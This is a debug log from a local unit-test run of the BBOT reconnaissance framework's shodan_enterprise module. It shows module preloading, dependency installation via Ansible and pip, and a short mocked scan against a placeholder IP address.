bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:11:35,498 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 18:11:35,498 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:11:35,499 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:11:35,499 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 18:11:35,584 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:11:35,585 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:11:35,585 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 18:11:35,586 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 18:11:35,586 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:11:35,587 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:11:35,588 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:11:35,588 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:11:35,588 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:11:35,588 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:11:35,688 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:11:35,689 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:11:35,705 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:11:35,705 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:11:35,706 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:11:35,712 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:11:35,713 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:11:35,714 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:11:35,715 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:11:35,715 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:11:35,716 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:11:35,830 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_krx0h9sjry completed in 0 seconds with status FINISHED -2026-02-27 18:11:35,830 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:11:35,832 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:11:35,833 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:11:35,833 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 18:41:18,396 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:41:18,409 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:41:18,410 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:41:18,411 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:41:18,412 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:41:18,414 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:41:18,415 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:41:18,416 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:41:18,417 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:41:18,418 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:41:18,419 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:41:18,420 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:41:18,421 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:41:18,422 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:41:18,423 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:41:18,423 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:41:18,425 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:41:18,425 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:41:18,426 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:41:18,427 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:41:18,429 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:41:18,430 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:41:18,430 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:41:18,431 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:41:18,432 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:41:18,433 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:41:18,434 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:41:18,434 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:41:18,435 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:41:18,435 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:41:18,436 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:41:18,437 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:41:18,437 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:41:18,438 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:41:18,442 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:41:18,443 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:41:18,444 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:41:18,445 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:41:18,446 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:41:18,446 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:41:18,447 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:41:18,448 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:41:18,448 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:41:18,449 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:41:18,450 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:41:18,450 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:41:18,451 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:41:18,452 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:41:18,452 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:41:18,453 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:41:18,454 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:41:18,454 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:41:18,455 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:41:18,455 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:41:18,456 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:41:18,457 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:41:18,458 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:41:18,458 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:41:18,459 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:41:18,459 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:41:18,466 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:41:18,467 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:41:18,468 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:41:18,468 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:41:18,469 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:41:18,470 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:41:18,471 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:41:18,472 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:41:18,472 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:41:18,473 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:41:18,474 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:41:18,475 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:41:18,476 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:41:18,476 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:41:18,477 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:41:18,478 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:41:18,479 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:41:18,479 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:41:18,480 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:41:18,480 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:41:18,481 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:41:18,481 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:41:18,482 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:41:18,482 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:41:18,483 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:41:18,484 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:41:18,484 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:41:18,486 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:41:18,486 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:41:18,487 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:41:18,488 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:41:18,488 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:41:18,489 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:41:18,489 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:41:18,490 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:41:18,491 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:41:18,492 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:41:18,492 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:41:18,493 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:41:18,494 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:41:18,494 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:41:18,495 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:41:18,496 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:41:18,496 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:41:18,497 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:41:18,497 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:41:18,498 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:41:18,498 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:41:18,499 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 18:41:18,500 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:41:18,500 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:41:18,500 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:41:18,501 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:41:18,502 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:41:18,503 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:41:18,503 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:41:18,504 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:41:18,505 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:41:18,505 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:41:18,506 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:41:18,506 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:41:18,507 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:41:18,508 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:41:18,509 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:41:18,509 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:41:18,510 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:41:18,510 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:41:18,511 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:41:18,512 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:41:18,512 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:41:18,513 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:41:18,513 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:41:18,514 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:41:18,514 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:41:18,515 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:41:18,516 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:41:18,516 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:41:18,517 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:41:18,517 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:41:18,518 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:41:18,519 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:41:18,520 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:41:18,520 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:41:18,521 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:41:18,521 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:41:18,523 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:41:18,523 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:41:18,524 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:41:18,525 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:41:18,527 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:41:18,527 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:41:18,531 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:41:18,532 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:41:18,534 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:41:18,535 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:41:18,537 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:41:18,537 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:41:18,539 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:41:18,540 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:41:18,541 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:41:18,541 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:41:18,542 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:41:18,543 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:41:18,544 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:41:18,545 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:41:18,546 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 18:41:18,546 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:41:18,547 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:41:18,547 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:41:18,548 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:41:19,972 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:41:19,972 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:41:19,973 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:41:20,112 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:41:20,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:41:20,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:41:20,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:41:20,677 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:41:20,897 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:41:20,898 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:41:21,014 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:41:21,014 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:41:21,070 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:41:21,077 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:41:21,078 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:41:21,823 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:41:21,823 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:41:25,348 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:41:25,349 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:41:25,349 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:41:27,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:41:27,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:41:27,558 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:41:27,558 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:41:27,558 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:41:27,559 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:41:27,559 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:41:27,559 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:41:27,564 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/pi7qchub7hz5d9ht7wwo -2026-02-27 18:41:28,846 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:41:28,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:41:28,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:41:28,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:41:28,848 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:41:28,848 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:41:28,849 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:41:28,973 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:41:28,973 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:41:28,973 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:41:28,976 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:41:28,977 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:41:28,977 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:41:28,977 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:41:28,979 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:41:28,979 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:41:28,980 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:41:28,981 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:41:28,981 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:41:28,981 